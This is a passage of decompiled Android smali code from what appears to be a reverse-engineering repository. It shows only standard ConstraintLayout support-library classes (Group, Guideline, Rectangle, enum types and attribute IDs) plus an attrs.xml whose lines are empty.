90 | .field public static final layout_constraintStart_toEndOf:I = 0x7f010024
91 |
92 | .field public static final layout_constraintStart_toStartOf:I = 0x7f010025
93 |
94 | .field public static final layout_constraintTop_creator:I = 0x7f010026
95 |
96 | .field public static final layout_constraintTop_toBottomOf:I = 0x7f010027
97 |
98 | .field public static final layout_constraintTop_toTopOf:I = 0x7f010028
99 |
100 | .field public static final layout_constraintVertical_bias:I = 0x7f010029
101 |
102 | .field public static final layout_constraintVertical_chainStyle:I = 0x7f01002a
103 |
104 | .field public static final layout_constraintVertical_weight:I = 0x7f01002b
105 |
106 | .field public static final layout_constraintWidth_default:I = 0x7f01002c
107 |
108 | .field public static final layout_constraintWidth_max:I = 0x7f01002d
109 |
110 | .field public static final layout_constraintWidth_min:I = 0x7f01002e
111 |
112 | .field public static final layout_constraintWidth_percent:I = 0x7f01002f
113 |
114 | .field public static final layout_editor_absoluteX:I = 0x7f010030
115 |
116 | .field public static final layout_editor_absoluteY:I = 0x7f010031
117 |
118 | .field public static final layout_goneMarginBottom:I = 0x7f010032
119 |
120 | .field public static final layout_goneMarginEnd:I = 0x7f010033
121 |
122 | .field public static final layout_goneMarginLeft:I = 0x7f010034
123 |
124 | .field public static final layout_goneMarginRight:I = 0x7f010035
125 |
126 | .field public static final layout_goneMarginStart:I = 0x7f010036
127 |
128 | .field public static final layout_goneMarginTop:I = 0x7f010037
129 |
130 | .field public static final layout_optimizationLevel:I = 0x7f010038
131 |
132 |
133 | # direct methods
134 | .method public constructor ()V
135 | .locals 0
136 |
137 | .line 10
138 | invoke-direct {p0}, Ljava/lang/Object;->()V
139 |
140 | return-void
141 | .end method
142 |
--------------------------------------------------------------------------------
/reversing/android/reverse/smali/android/support/constraint/Group.smali:
--------------------------------------------------------------------------------
1 | .class public Landroid/support/constraint/Group;
2 | .super Landroid/support/constraint/ConstraintHelper;
3 | .source "Group.java"
4 |
5 |
6 | # direct methods
7 | .method public constructor (Landroid/content/Context;)V
8 | .locals 0
9 | .param p1, "context" # Landroid/content/Context;
10 |
11 | .line 39
12 | invoke-direct {p0, p1}, Landroid/support/constraint/ConstraintHelper;->(Landroid/content/Context;)V
13 |
14 | .line 40
15 | return-void
16 | .end method
17 |
18 | .method public constructor (Landroid/content/Context;Landroid/util/AttributeSet;)V
19 | .locals 0
20 | .param p1, "context" # Landroid/content/Context;
21 | .param p2, "attrs" # Landroid/util/AttributeSet;
22 |
23 | .line 43
24 | invoke-direct {p0, p1, p2}, Landroid/support/constraint/ConstraintHelper;->(Landroid/content/Context;Landroid/util/AttributeSet;)V
25 |
26 | .line 44
27 | return-void
28 | .end method
29 |
30 | .method public constructor (Landroid/content/Context;Landroid/util/AttributeSet;I)V
31 | .locals 0
32 | .param p1, "context" # Landroid/content/Context;
33 | .param p2, "attrs" # Landroid/util/AttributeSet;
34 | .param p3, "defStyleAttr" # I
35 |
36 | .line 47
37 | invoke-direct {p0, p1, p2, p3}, Landroid/support/constraint/ConstraintHelper;->(Landroid/content/Context;Landroid/util/AttributeSet;I)V
38 |
39 | .line 48
40 | return-void
41 | .end method
42 |
43 |
44 | # virtual methods
45 | .method protected init(Landroid/util/AttributeSet;)V
46 | .locals 1
47 | .param p1, "attrs" # Landroid/util/AttributeSet;
48 |
49 | .line 55
50 | invoke-super {p0, p1}, Landroid/support/constraint/ConstraintHelper;->init(Landroid/util/AttributeSet;)V
51 |
52 | .line 56
53 | const/4 v0, 0x0
54 |
55 | iput-boolean v0, p0, Landroid/support/constraint/Group;->mUseViewMeasure:Z
56 |
57 | .line 57
58 | return-void
59 | .end method
60 |
61 | .method public updatePostLayout(Landroid/support/constraint/ConstraintLayout;)V
62 | .locals 3
63 | .param p1, "container" # Landroid/support/constraint/ConstraintLayout;
64 |
65 | .line 88
66 | invoke-virtual {p0}, Landroid/support/constraint/Group;->getLayoutParams()Landroid/view/ViewGroup$LayoutParams;
67 |
68 | move-result-object v0
69 |
70 | check-cast v0, Landroid/support/constraint/ConstraintLayout$LayoutParams;
71 |
72 | .line 89
73 | .local v0, "params":Landroid/support/constraint/ConstraintLayout$LayoutParams;
74 | iget-object v1, v0, Landroid/support/constraint/ConstraintLayout$LayoutParams;->widget:Landroid/support/constraint/solver/widgets/ConstraintWidget;
75 |
76 | const/4 v2, 0x0
77 |
78 | invoke-virtual {v1, v2}, Landroid/support/constraint/solver/widgets/ConstraintWidget;->setWidth(I)V
79 |
80 | .line 90
81 | iget-object v1, v0, Landroid/support/constraint/ConstraintLayout$LayoutParams;->widget:Landroid/support/constraint/solver/widgets/ConstraintWidget;
82 |
83 | invoke-virtual {v1, v2}, Landroid/support/constraint/solver/widgets/ConstraintWidget;->setHeight(I)V
84 |
85 | .line 91
86 | return-void
87 | .end method
88 |
89 | .method public updatePreLayout(Landroid/support/constraint/ConstraintLayout;)V
90 | .locals 7
91 | .param p1, "container" # Landroid/support/constraint/ConstraintLayout;
92 |
93 | .line 65
94 | invoke-virtual {p0}, Landroid/support/constraint/Group;->getVisibility()I
95 |
96 | move-result v0
97 |
98 | .line 66
99 | .local v0, "visibility":I
100 | const/4 v1, 0x0
101 |
102 | .line 67
103 | .local v1, "elevation":F
104 | sget v2, Landroid/os/Build$VERSION;->SDK_INT:I
105 |
106 | const/16 v3, 0x15
107 |
108 | if-lt v2, v3, :cond_0
109 |
110 | .line 68
111 | invoke-virtual {p0}, Landroid/support/constraint/Group;->getElevation()F
112 |
113 | move-result v1
114 |
115 | .line 70
116 | :cond_0
117 | const/4 v2, 0x0
118 |
119 | .line 70
120 | .local v2, "i":I
121 | :goto_0
122 | iget v4, p0, Landroid/support/constraint/Group;->mCount:I
123 |
124 | if-ge v2, v4, :cond_2
125 |
126 | .line 71
127 | iget-object v4, p0, Landroid/support/constraint/Group;->mIds:[I
128 |
129 | aget v4, v4, v2
130 |
131 | .line 72
132 | .local v4, "id":I
133 | invoke-virtual {p1, v4}, Landroid/support/constraint/ConstraintLayout;->getViewById(I)Landroid/view/View;
134 |
135 | move-result-object v5
136 |
137 | .line 73
138 | .local v5, "view":Landroid/view/View;
139 | if-eqz v5, :cond_1
140 |
141 | .line 74
142 | invoke-virtual {v5, v0}, Landroid/view/View;->setVisibility(I)V
143 |
144 | .line 75
145 | const/4 v6, 0x0
146 |
147 | cmpl-float v6, v1, v6
148 |
149 | if-lez v6, :cond_1
150 |
151 | sget v6, Landroid/os/Build$VERSION;->SDK_INT:I
152 |
153 | if-lt v6, v3, :cond_1
154 |
155 | .line 76
156 | invoke-virtual {v5, v1}, Landroid/view/View;->setElevation(F)V
157 |
158 | .line 70
159 | .end local v4 # "id":I
160 | .end local v5 # "view":Landroid/view/View;
161 | :cond_1
162 | add-int/lit8 v2, v2, 0x1
163 |
164 | goto :goto_0
165 |
166 | .line 80
167 | .end local v2 # "i":I
168 | :cond_2
169 | return-void
170 | .end method
171 |
--------------------------------------------------------------------------------
/reversing/android/reverse/smali/android/support/constraint/solver/widgets/ConstraintAnchor$Strength.smali:
--------------------------------------------------------------------------------
1 | .class public final enum Landroid/support/constraint/solver/widgets/ConstraintAnchor$Strength;
2 | .super Ljava/lang/Enum;
3 | .source "ConstraintAnchor.java"
4 |
5 |
6 | # annotations
7 | .annotation system Ldalvik/annotation/EnclosingClass;
8 | value = Landroid/support/constraint/solver/widgets/ConstraintAnchor;
9 | .end annotation
10 |
11 | .annotation system Ldalvik/annotation/InnerClass;
12 | accessFlags = 0x4019
13 | name = "Strength"
14 | .end annotation
15 |
16 | .annotation system Ldalvik/annotation/Signature;
17 | value = {
18 | "Ljava/lang/Enum<",
19 | "Landroid/support/constraint/solver/widgets/ConstraintAnchor$Strength;",
20 | ">;"
21 | }
22 | .end annotation
23 |
24 |
25 | # static fields
26 | .field private static final synthetic $VALUES:[Landroid/support/constraint/solver/widgets/ConstraintAnchor$Strength;
27 |
28 | .field public static final enum NONE:Landroid/support/constraint/solver/widgets/ConstraintAnchor$Strength;
29 |
30 | .field public static final enum STRONG:Landroid/support/constraint/solver/widgets/ConstraintAnchor$Strength;
31 |
32 | .field public static final enum WEAK:Landroid/support/constraint/solver/widgets/ConstraintAnchor$Strength;
33 |
34 |
35 | # direct methods
36 | .method static constructor ()V
37 | .locals 5
38 |
39 | .line 41
40 | new-instance v0, Landroid/support/constraint/solver/widgets/ConstraintAnchor$Strength;
41 |
42 | const-string v1, "NONE"
43 |
44 | const/4 v2, 0x0
45 |
46 | invoke-direct {v0, v1, v2}, Landroid/support/constraint/solver/widgets/ConstraintAnchor$Strength;->(Ljava/lang/String;I)V
47 |
48 | sput-object v0, Landroid/support/constraint/solver/widgets/ConstraintAnchor$Strength;->NONE:Landroid/support/constraint/solver/widgets/ConstraintAnchor$Strength;
49 |
50 | new-instance v0, Landroid/support/constraint/solver/widgets/ConstraintAnchor$Strength;
51 |
52 | const-string v1, "STRONG"
53 |
54 | const/4 v3, 0x1
55 |
56 | invoke-direct {v0, v1, v3}, Landroid/support/constraint/solver/widgets/ConstraintAnchor$Strength;->(Ljava/lang/String;I)V
57 |
58 | sput-object v0, Landroid/support/constraint/solver/widgets/ConstraintAnchor$Strength;->STRONG:Landroid/support/constraint/solver/widgets/ConstraintAnchor$Strength;
59 |
60 | new-instance v0, Landroid/support/constraint/solver/widgets/ConstraintAnchor$Strength;
61 |
62 | const-string v1, "WEAK"
63 |
64 | const/4 v4, 0x2
65 |
66 | invoke-direct {v0, v1, v4}, Landroid/support/constraint/solver/widgets/ConstraintAnchor$Strength;->(Ljava/lang/String;I)V
67 |
68 | sput-object v0, Landroid/support/constraint/solver/widgets/ConstraintAnchor$Strength;->WEAK:Landroid/support/constraint/solver/widgets/ConstraintAnchor$Strength;
69 |
70 | const/4 v0, 0x3
71 |
72 | new-array v0, v0, [Landroid/support/constraint/solver/widgets/ConstraintAnchor$Strength;
73 |
74 | sget-object v1, Landroid/support/constraint/solver/widgets/ConstraintAnchor$Strength;->NONE:Landroid/support/constraint/solver/widgets/ConstraintAnchor$Strength;
75 |
76 | aput-object v1, v0, v2
77 |
78 | sget-object v1, Landroid/support/constraint/solver/widgets/ConstraintAnchor$Strength;->STRONG:Landroid/support/constraint/solver/widgets/ConstraintAnchor$Strength;
79 |
80 | aput-object v1, v0, v3
81 |
82 | sget-object v1, Landroid/support/constraint/solver/widgets/ConstraintAnchor$Strength;->WEAK:Landroid/support/constraint/solver/widgets/ConstraintAnchor$Strength;
83 |
84 | aput-object v1, v0, v4
85 |
86 | sput-object v0, Landroid/support/constraint/solver/widgets/ConstraintAnchor$Strength;->$VALUES:[Landroid/support/constraint/solver/widgets/ConstraintAnchor$Strength;
87 |
88 | return-void
89 | .end method
90 |
91 | .method private constructor (Ljava/lang/String;I)V
92 | .locals 0
93 | .annotation system Ldalvik/annotation/Signature;
94 | value = {
95 | "()V"
96 | }
97 | .end annotation
98 |
99 | .line 41
100 | invoke-direct {p0, p1, p2}, Ljava/lang/Enum;->(Ljava/lang/String;I)V
101 |
102 | return-void
103 | .end method
104 |
105 | .method public static valueOf(Ljava/lang/String;)Landroid/support/constraint/solver/widgets/ConstraintAnchor$Strength;
106 | .locals 1
107 | .param p0, "name" # Ljava/lang/String;
108 |
109 | .line 41
110 | const-class v0, Landroid/support/constraint/solver/widgets/ConstraintAnchor$Strength;
111 |
112 | invoke-static {v0, p0}, Ljava/lang/Enum;->valueOf(Ljava/lang/Class;Ljava/lang/String;)Ljava/lang/Enum;
113 |
114 | move-result-object v0
115 |
116 | check-cast v0, Landroid/support/constraint/solver/widgets/ConstraintAnchor$Strength;
117 |
118 | return-object v0
119 | .end method
120 |
121 | .method public static values()[Landroid/support/constraint/solver/widgets/ConstraintAnchor$Strength;
122 | .locals 1
123 |
124 | .line 41
125 | sget-object v0, Landroid/support/constraint/solver/widgets/ConstraintAnchor$Strength;->$VALUES:[Landroid/support/constraint/solver/widgets/ConstraintAnchor$Strength;
126 |
127 | invoke-virtual {v0}, [Landroid/support/constraint/solver/widgets/ConstraintAnchor$Strength;->clone()Ljava/lang/Object;
128 |
129 | move-result-object v0
130 |
131 | check-cast v0, [Landroid/support/constraint/solver/widgets/ConstraintAnchor$Strength;
132 |
133 | return-object v0
134 | .end method
135 |
--------------------------------------------------------------------------------
/reversing/android/reverse/smali/android/support/constraint/Guideline.smali:
--------------------------------------------------------------------------------
1 | .class public Landroid/support/constraint/Guideline;
2 | .super Landroid/view/View;
3 | .source "Guideline.java"
4 |
5 |
6 | # direct methods
7 | .method public constructor (Landroid/content/Context;)V
8 | .locals 1
9 | .param p1, "context" # Landroid/content/Context;
10 |
11 | .line 55
12 | invoke-direct {p0, p1}, Landroid/view/View;->(Landroid/content/Context;)V
13 |
14 | .line 56
15 | const/16 v0, 0x8
16 |
17 | invoke-super {p0, v0}, Landroid/view/View;->setVisibility(I)V
18 |
19 | .line 57
20 | return-void
21 | .end method
22 |
23 | .method public constructor (Landroid/content/Context;Landroid/util/AttributeSet;)V
24 | .locals 1
25 | .param p1, "context" # Landroid/content/Context;
26 | .param p2, "attrs" # Landroid/util/AttributeSet;
27 |
28 | .line 60
29 | invoke-direct {p0, p1, p2}, Landroid/view/View;->(Landroid/content/Context;Landroid/util/AttributeSet;)V
30 |
31 | .line 61
32 | const/16 v0, 0x8
33 |
34 | invoke-super {p0, v0}, Landroid/view/View;->setVisibility(I)V
35 |
36 | .line 62
37 | return-void
38 | .end method
39 |
40 | .method public constructor (Landroid/content/Context;Landroid/util/AttributeSet;I)V
41 | .locals 1
42 | .param p1, "context" # Landroid/content/Context;
43 | .param p2, "attrs" # Landroid/util/AttributeSet;
44 | .param p3, "defStyleAttr" # I
45 |
46 | .line 65
47 | invoke-direct {p0, p1, p2, p3}, Landroid/view/View;->(Landroid/content/Context;Landroid/util/AttributeSet;I)V
48 |
49 | .line 66
50 | const/16 v0, 0x8
51 |
52 | invoke-super {p0, v0}, Landroid/view/View;->setVisibility(I)V
53 |
54 | .line 67
55 | return-void
56 | .end method
57 |
58 | .method public constructor (Landroid/content/Context;Landroid/util/AttributeSet;II)V
59 | .locals 1
60 | .param p1, "context" # Landroid/content/Context;
61 | .param p2, "attrs" # Landroid/util/AttributeSet;
62 | .param p3, "defStyleAttr" # I
63 | .param p4, "defStyleRes" # I
64 |
65 | .line 70
66 | invoke-direct {p0, p1, p2, p3}, Landroid/view/View;->(Landroid/content/Context;Landroid/util/AttributeSet;I)V
67 |
68 | .line 71
69 | const/16 v0, 0x8
70 |
71 | invoke-super {p0, v0}, Landroid/view/View;->setVisibility(I)V
72 |
73 | .line 72
74 | return-void
75 | .end method
76 |
77 |
78 | # virtual methods
79 | .method public draw(Landroid/graphics/Canvas;)V
80 | .locals 0
81 | .param p1, "canvas" # Landroid/graphics/Canvas;
82 |
83 | .line 86
84 | return-void
85 | .end method
86 |
87 | .method protected onMeasure(II)V
88 | .locals 1
89 | .param p1, "widthMeasureSpec" # I
90 | .param p2, "heightMeasureSpec" # I
91 |
92 | .line 93
93 | const/4 v0, 0x0
94 |
95 | invoke-virtual {p0, v0, v0}, Landroid/support/constraint/Guideline;->setMeasuredDimension(II)V
96 |
97 | .line 94
98 | return-void
99 | .end method
100 |
101 | .method public setGuidelineBegin(I)V
102 | .locals 1
103 | .param p1, "margin" # I
104 |
105 | .line 102
106 | invoke-virtual {p0}, Landroid/support/constraint/Guideline;->getLayoutParams()Landroid/view/ViewGroup$LayoutParams;
107 |
108 | move-result-object v0
109 |
110 | check-cast v0, Landroid/support/constraint/ConstraintLayout$LayoutParams;
111 |
112 | .line 103
113 | .local v0, "params":Landroid/support/constraint/ConstraintLayout$LayoutParams;
114 | iput p1, v0, Landroid/support/constraint/ConstraintLayout$LayoutParams;->guideBegin:I
115 |
116 | .line 104
117 | invoke-virtual {p0, v0}, Landroid/support/constraint/Guideline;->setLayoutParams(Landroid/view/ViewGroup$LayoutParams;)V
118 |
119 | .line 105
120 | return-void
121 | .end method
122 |
123 | .method public setGuidelineEnd(I)V
124 | .locals 1
125 | .param p1, "margin" # I
126 |
127 | .line 113
128 | invoke-virtual {p0}, Landroid/support/constraint/Guideline;->getLayoutParams()Landroid/view/ViewGroup$LayoutParams;
129 |
130 | move-result-object v0
131 |
132 | check-cast v0, Landroid/support/constraint/ConstraintLayout$LayoutParams;
133 |
134 | .line 114
135 | .local v0, "params":Landroid/support/constraint/ConstraintLayout$LayoutParams;
136 | iput p1, v0, Landroid/support/constraint/ConstraintLayout$LayoutParams;->guideEnd:I
137 |
138 | .line 115
139 | invoke-virtual {p0, v0}, Landroid/support/constraint/Guideline;->setLayoutParams(Landroid/view/ViewGroup$LayoutParams;)V
140 |
141 | .line 116
142 | return-void
143 | .end method
144 |
145 | .method public setGuidelinePercent(F)V
146 | .locals 1
147 | .param p1, "ratio" # F
148 |
149 | .line 123
150 | invoke-virtual {p0}, Landroid/support/constraint/Guideline;->getLayoutParams()Landroid/view/ViewGroup$LayoutParams;
151 |
152 | move-result-object v0
153 |
154 | check-cast v0, Landroid/support/constraint/ConstraintLayout$LayoutParams;
155 |
156 | .line 124
157 | .local v0, "params":Landroid/support/constraint/ConstraintLayout$LayoutParams;
158 | iput p1, v0, Landroid/support/constraint/ConstraintLayout$LayoutParams;->guidePercent:F
159 |
160 | .line 125
161 | invoke-virtual {p0, v0}, Landroid/support/constraint/Guideline;->setLayoutParams(Landroid/view/ViewGroup$LayoutParams;)V
162 |
163 | .line 126
164 | return-void
165 | .end method
166 |
167 | .method public setVisibility(I)V
168 | .locals 0
169 | .param p1, "visibility" # I
170 |
171 | .line 79
172 | return-void
173 | .end method
174 |
--------------------------------------------------------------------------------
/reversing/android/reverse/smali/android/support/constraint/solver/widgets/Rectangle.smali:
--------------------------------------------------------------------------------
1 | .class public Landroid/support/constraint/solver/widgets/Rectangle;
2 | .super Ljava/lang/Object;
3 | .source "Rectangle.java"
4 |
5 |
6 | # instance fields
7 | .field public height:I
8 |
9 | .field public width:I
10 |
11 | .field public x:I
12 |
13 | .field public y:I
14 |
15 |
16 | # direct methods
17 | .method public constructor ()V
18 | .locals 0
19 |
20 | .line 21
21 | invoke-direct {p0}, Ljava/lang/Object;->()V
22 |
23 | return-void
24 | .end method
25 |
26 |
27 | # virtual methods
28 | .method public contains(II)Z
29 | .locals 2
30 | .param p1, "x" # I
31 | .param p2, "y" # I
32 |
33 | .line 46
34 | iget v0, p0, Landroid/support/constraint/solver/widgets/Rectangle;->x:I
35 |
36 | if-lt p1, v0, :cond_0
37 |
38 | iget v0, p0, Landroid/support/constraint/solver/widgets/Rectangle;->x:I
39 |
40 | iget v1, p0, Landroid/support/constraint/solver/widgets/Rectangle;->width:I
41 |
42 | add-int/2addr v0, v1
43 |
44 | if-ge p1, v0, :cond_0
45 |
46 | iget v0, p0, Landroid/support/constraint/solver/widgets/Rectangle;->y:I
47 |
48 | if-lt p2, v0, :cond_0
49 |
50 | iget v0, p0, Landroid/support/constraint/solver/widgets/Rectangle;->y:I
51 |
52 | iget v1, p0, Landroid/support/constraint/solver/widgets/Rectangle;->height:I
53 |
54 | add-int/2addr v0, v1
55 |
56 | if-ge p2, v0, :cond_0
57 |
58 | const/4 v0, 0x1
59 |
60 | goto :goto_0
61 |
62 | :cond_0
63 | const/4 v0, 0x0
64 |
65 | :goto_0
66 | return v0
67 | .end method
68 |
69 | .method public getCenterX()I
70 | .locals 2
71 |
72 | .line 50
73 | iget v0, p0, Landroid/support/constraint/solver/widgets/Rectangle;->x:I
74 |
75 | iget v1, p0, Landroid/support/constraint/solver/widgets/Rectangle;->width:I
76 |
77 | add-int/2addr v0, v1
78 |
79 | div-int/lit8 v0, v0, 0x2
80 |
81 | return v0
82 | .end method
83 |
84 | .method public getCenterY()I
85 | .locals 2
86 |
87 | .line 51
88 | iget v0, p0, Landroid/support/constraint/solver/widgets/Rectangle;->y:I
89 |
90 | iget v1, p0, Landroid/support/constraint/solver/widgets/Rectangle;->height:I
91 |
92 | add-int/2addr v0, v1
93 |
94 | div-int/lit8 v0, v0, 0x2
95 |
96 | return v0
97 | .end method
98 |
99 | .method grow(II)V
100 | .locals 2
101 | .param p1, "w" # I
102 | .param p2, "h" # I
103 |
104 | .line 34
105 | iget v0, p0, Landroid/support/constraint/solver/widgets/Rectangle;->x:I
106 |
107 | sub-int/2addr v0, p1
108 |
109 | iput v0, p0, Landroid/support/constraint/solver/widgets/Rectangle;->x:I
110 |
111 | .line 35
112 | iget v0, p0, Landroid/support/constraint/solver/widgets/Rectangle;->y:I
113 |
114 | sub-int/2addr v0, p2
115 |
116 | iput v0, p0, Landroid/support/constraint/solver/widgets/Rectangle;->y:I
117 |
118 | .line 36
119 | iget v0, p0, Landroid/support/constraint/solver/widgets/Rectangle;->width:I
120 |
121 | mul-int/lit8 v1, p1, 0x2
122 |
123 | add-int/2addr v0, v1
124 |
125 | iput v0, p0, Landroid/support/constraint/solver/widgets/Rectangle;->width:I
126 |
127 | .line 37
128 | iget v0, p0, Landroid/support/constraint/solver/widgets/Rectangle;->height:I
129 |
130 | mul-int/lit8 v1, p2, 0x2
131 |
132 | add-int/2addr v0, v1
133 |
134 | iput v0, p0, Landroid/support/constraint/solver/widgets/Rectangle;->height:I
135 |
136 | .line 38
137 | return-void
138 | .end method
139 |
140 | .method intersects(Landroid/support/constraint/solver/widgets/Rectangle;)Z
141 | .locals 3
142 | .param p1, "bounds" # Landroid/support/constraint/solver/widgets/Rectangle;
143 |
144 | .line 41
145 | iget v0, p0, Landroid/support/constraint/solver/widgets/Rectangle;->x:I
146 |
147 | iget v1, p1, Landroid/support/constraint/solver/widgets/Rectangle;->x:I
148 |
149 | if-lt v0, v1, :cond_0
150 |
151 | iget v0, p0, Landroid/support/constraint/solver/widgets/Rectangle;->x:I
152 |
153 | iget v1, p1, Landroid/support/constraint/solver/widgets/Rectangle;->x:I
154 |
155 | iget v2, p1, Landroid/support/constraint/solver/widgets/Rectangle;->width:I
156 |
157 | add-int/2addr v1, v2
158 |
159 | if-ge v0, v1, :cond_0
160 |
161 | iget v0, p0, Landroid/support/constraint/solver/widgets/Rectangle;->y:I
162 |
163 | iget v1, p1, Landroid/support/constraint/solver/widgets/Rectangle;->y:I
164 |
165 | if-lt v0, v1, :cond_0
166 |
167 | iget v0, p0, Landroid/support/constraint/solver/widgets/Rectangle;->y:I
168 |
169 | iget v1, p1, Landroid/support/constraint/solver/widgets/Rectangle;->y:I
170 |
171 | iget v2, p1, Landroid/support/constraint/solver/widgets/Rectangle;->height:I
172 |
173 | add-int/2addr v1, v2
174 |
175 | if-ge v0, v1, :cond_0
176 |
177 | const/4 v0, 0x1
178 |
179 | goto :goto_0
180 |
181 | :cond_0
182 | const/4 v0, 0x0
183 |
184 | :goto_0
185 | return v0
186 | .end method
187 |
188 | .method public setBounds(IIII)V
189 | .locals 0
190 | .param p1, "x" # I
191 | .param p2, "y" # I
192 | .param p3, "width" # I
193 | .param p4, "height" # I
194 |
195 | .line 28
196 | iput p1, p0, Landroid/support/constraint/solver/widgets/Rectangle;->x:I
197 |
198 | .line 29
199 | iput p2, p0, Landroid/support/constraint/solver/widgets/Rectangle;->y:I
200 |
201 | .line 30
202 | iput p3, p0, Landroid/support/constraint/solver/widgets/Rectangle;->width:I
203 |
204 | .line 31
205 | iput p4, p0, Landroid/support/constraint/solver/widgets/Rectangle;->height:I
206 |
207 | .line 32
208 | return-void
209 | .end method
210 |
--------------------------------------------------------------------------------
/reversing/android/reverse/res/values/attrs.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
16 |
17 |
18 |
19 |
20 |
21 |
22 |
23 |
24 |
25 |
26 |
27 |
28 |
29 |
30 |
31 |
32 |
33 |
34 |
35 |
36 |
37 |
38 |
39 |
40 |
41 |
42 |
43 |
44 |
45 |
46 |
47 |
48 |
49 |
50 |
51 |
52 |
53 |
54 |
55 |
56 |
57 |
58 |
59 |
60 |
61 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 |
75 |
76 |
77 |
78 |
79 |
80 |
81 |
82 |
83 |
84 |
85 |
86 |
87 |
88 |
89 |
90 |
91 |
92 |
93 |
94 |
95 |
96 |
97 |
98 |
99 |
100 |
101 |
102 |
103 |
104 |
105 |
106 |
107 |
108 |
109 |
110 |
111 |
112 |
113 |
114 |
115 |
116 |
117 |
118 |
119 |
120 |
121 |
122 |
123 |
124 |
125 |
126 |
127 |
128 |
129 |
--------------------------------------------------------------------------------
/reversing/android/reverse/smali/android/support/constraint/solver/SolverVariable$Type.smali:
--------------------------------------------------------------------------------
1 | .class public final enum Landroid/support/constraint/solver/SolverVariable$Type;
2 | .super Ljava/lang/Enum;
3 | .source "SolverVariable.java"
4 |
5 |
6 | # annotations
7 | .annotation system Ldalvik/annotation/EnclosingClass;
8 | value = Landroid/support/constraint/solver/SolverVariable;
9 | .end annotation
10 |
11 | .annotation system Ldalvik/annotation/InnerClass;
12 | accessFlags = 0x4019
13 | name = "Type"
14 | .end annotation
15 |
16 | .annotation system Ldalvik/annotation/Signature;
17 | value = {
18 | "Ljava/lang/Enum<",
19 | "Landroid/support/constraint/solver/SolverVariable$Type;",
20 | ">;"
21 | }
22 | .end annotation
23 |
24 |
25 | # static fields
26 | .field private static final synthetic $VALUES:[Landroid/support/constraint/solver/SolverVariable$Type;
27 |
28 | .field public static final enum CONSTANT:Landroid/support/constraint/solver/SolverVariable$Type;
29 |
30 | .field public static final enum ERROR:Landroid/support/constraint/solver/SolverVariable$Type;
31 |
32 | .field public static final enum SLACK:Landroid/support/constraint/solver/SolverVariable$Type;
33 |
34 | .field public static final enum UNKNOWN:Landroid/support/constraint/solver/SolverVariable$Type;
35 |
36 | .field public static final enum UNRESTRICTED:Landroid/support/constraint/solver/SolverVariable$Type;
37 |
38 |
39 | # direct methods
40 | .method static constructor ()V
41 | .locals 7
42 |
43 | .line 69
44 | new-instance v0, Landroid/support/constraint/solver/SolverVariable$Type;
45 |
46 | const-string v1, "UNRESTRICTED"
47 |
48 | const/4 v2, 0x0
49 |
50 | invoke-direct {v0, v1, v2}, Landroid/support/constraint/solver/SolverVariable$Type;->(Ljava/lang/String;I)V
51 |
52 | sput-object v0, Landroid/support/constraint/solver/SolverVariable$Type;->UNRESTRICTED:Landroid/support/constraint/solver/SolverVariable$Type;
53 |
54 | .line 73
55 | new-instance v0, Landroid/support/constraint/solver/SolverVariable$Type;
56 |
57 | const-string v1, "CONSTANT"
58 |
59 | const/4 v3, 0x1
60 |
61 | invoke-direct {v0, v1, v3}, Landroid/support/constraint/solver/SolverVariable$Type;->(Ljava/lang/String;I)V
62 |
63 | sput-object v0, Landroid/support/constraint/solver/SolverVariable$Type;->CONSTANT:Landroid/support/constraint/solver/SolverVariable$Type;
64 |
65 | .line 77
66 | new-instance v0, Landroid/support/constraint/solver/SolverVariable$Type;
67 |
68 | const-string v1, "SLACK"
69 |
70 | const/4 v4, 0x2
71 |
72 | invoke-direct {v0, v1, v4}, Landroid/support/constraint/solver/SolverVariable$Type;->(Ljava/lang/String;I)V
73 |
74 | sput-object v0, Landroid/support/constraint/solver/SolverVariable$Type;->SLACK:Landroid/support/constraint/solver/SolverVariable$Type;
75 |
76 | .line 81
77 | new-instance v0, Landroid/support/constraint/solver/SolverVariable$Type;
78 |
79 | const-string v1, "ERROR"
80 |
81 | const/4 v5, 0x3
82 |
83 | invoke-direct {v0, v1, v5}, Landroid/support/constraint/solver/SolverVariable$Type;->(Ljava/lang/String;I)V
84 |
85 | sput-object v0, Landroid/support/constraint/solver/SolverVariable$Type;->ERROR:Landroid/support/constraint/solver/SolverVariable$Type;
86 |
87 | .line 85
88 | new-instance v0, Landroid/support/constraint/solver/SolverVariable$Type;
89 |
90 | const-string v1, "UNKNOWN"
91 |
92 | const/4 v6, 0x4
93 |
94 | invoke-direct {v0, v1, v6}, Landroid/support/constraint/solver/SolverVariable$Type;->(Ljava/lang/String;I)V
95 |
96 | sput-object v0, Landroid/support/constraint/solver/SolverVariable$Type;->UNKNOWN:Landroid/support/constraint/solver/SolverVariable$Type;
97 |
98 | .line 65
99 | const/4 v0, 0x5
100 |
101 | new-array v0, v0, [Landroid/support/constraint/solver/SolverVariable$Type;
102 |
103 | sget-object v1, Landroid/support/constraint/solver/SolverVariable$Type;->UNRESTRICTED:Landroid/support/constraint/solver/SolverVariable$Type;
104 |
105 | aput-object v1, v0, v2
106 |
107 | sget-object v1, Landroid/support/constraint/solver/SolverVariable$Type;->CONSTANT:Landroid/support/constraint/solver/SolverVariable$Type;
108 |
109 | aput-object v1, v0, v3
110 |
111 | sget-object v1, Landroid/support/constraint/solver/SolverVariable$Type;->SLACK:Landroid/support/constraint/solver/SolverVariable$Type;
112 |
113 | aput-object v1, v0, v4
114 |
115 | sget-object v1, Landroid/support/constraint/solver/SolverVariable$Type;->ERROR:Landroid/support/constraint/solver/SolverVariable$Type;
116 |
117 | aput-object v1, v0, v5
118 |
119 | sget-object v1, Landroid/support/constraint/solver/SolverVariable$Type;->UNKNOWN:Landroid/support/constraint/solver/SolverVariable$Type;
120 |
121 | aput-object v1, v0, v6
122 |
123 | sput-object v0, Landroid/support/constraint/solver/SolverVariable$Type;->$VALUES:[Landroid/support/constraint/solver/SolverVariable$Type;
124 |
125 | return-void
126 | .end method
127 |
128 | .method private constructor (Ljava/lang/String;I)V
129 | .locals 0
130 | .annotation system Ldalvik/annotation/Signature;
131 | value = {
132 | "()V"
133 | }
134 | .end annotation
135 |
136 | .line 65
137 | invoke-direct {p0, p1, p2}, Ljava/lang/Enum;->(Ljava/lang/String;I)V
138 |
139 | return-void
140 | .end method
141 |
142 | .method public static valueOf(Ljava/lang/String;)Landroid/support/constraint/solver/SolverVariable$Type;
